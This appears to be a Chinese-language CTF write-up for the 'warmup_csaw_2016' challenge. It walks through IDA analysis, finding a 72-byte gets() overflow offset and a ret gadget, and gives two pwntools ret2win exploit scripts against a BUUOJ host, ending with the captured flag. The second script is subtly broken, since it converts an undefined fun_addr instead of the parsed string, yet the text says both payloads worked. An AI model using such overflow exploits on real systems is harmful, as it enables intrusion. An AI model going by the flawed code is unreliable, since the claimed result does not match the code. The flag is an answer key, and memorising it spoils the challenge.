warmup_csaw_2016

warmup_csaw_2016

逆向分析

依旧是下载elf文件通过ida逆向分析。

image

可以看到main函数里输出了一个名叫sub_40060D的函数的地址,我们去看看这个函数是干啥的。

image

可以看到是给我们送flag的,我们只需要让系统执行的时候调用这个函数就行了。通过ida可以看到这个函数的地址为0x40060D我们只需要通过gets函数的栈溢出将地址覆盖就行,但是我现在怀疑它函数的地址是在变化的,所以我们可以通过gdb来看看每次运行时函数的地址会不会变,对于这个文件直接运行就能看见。

image

会发现每次运行的地址是不会变化的,这样的话直接判断一下offset是多少,还是通过两种方法交替验证,s这个数组又64位再加上8位

应该是72位。用gdb里的cyclic再判断一下。

image

这下就很明显了offset就是72,然后考虑一下栈对齐,找一下ret。依旧是通过ROPgadget --binary warmup_csaw_2016 --only 'ret'这条命令来寻找。

image

可以看见ret的地址是0x4004a1。所有的东西都有了我们可以开始编写payload了

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
host = "node5.buuoj.cn"
port = 25131
p = remote(host, port)
# 偏移量
#p = process('./pwn1')
ret_addr = 0x4004a1
offset = 72
fun_addr = 0x40060d
payload = flat(
b'a'*offset,
p64(ret_addr),
p64(fun_addr)
)
p.sendlineafter(b'>',payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

如果是每次运行地址不同的话,也可以通过pwntools接收程序传递过来的地址。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
host = "node5.buuoj.cn"
port = 25131
p = remote(host, port)
# 偏移量
#p = process('./pwn1')
p.recvuntil(b'WOW:')
fun_addr_str = p.recvline().strip()
fun_addr = int(fun_addr,16)
ret_addr = 0x4004a1
offset = 72
payload = flat(
b'a'*offset,
p64(ret_addr),
p64(fun_addr)
)
p.sendlineafter(b'>',payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

我们可以尝试两种不同的payload来解决这道题。

image

image

可以看到两种payload都可以拿到flag。

flag:flag{aab021b1-3c0a-441c-bf3d-60536c285028}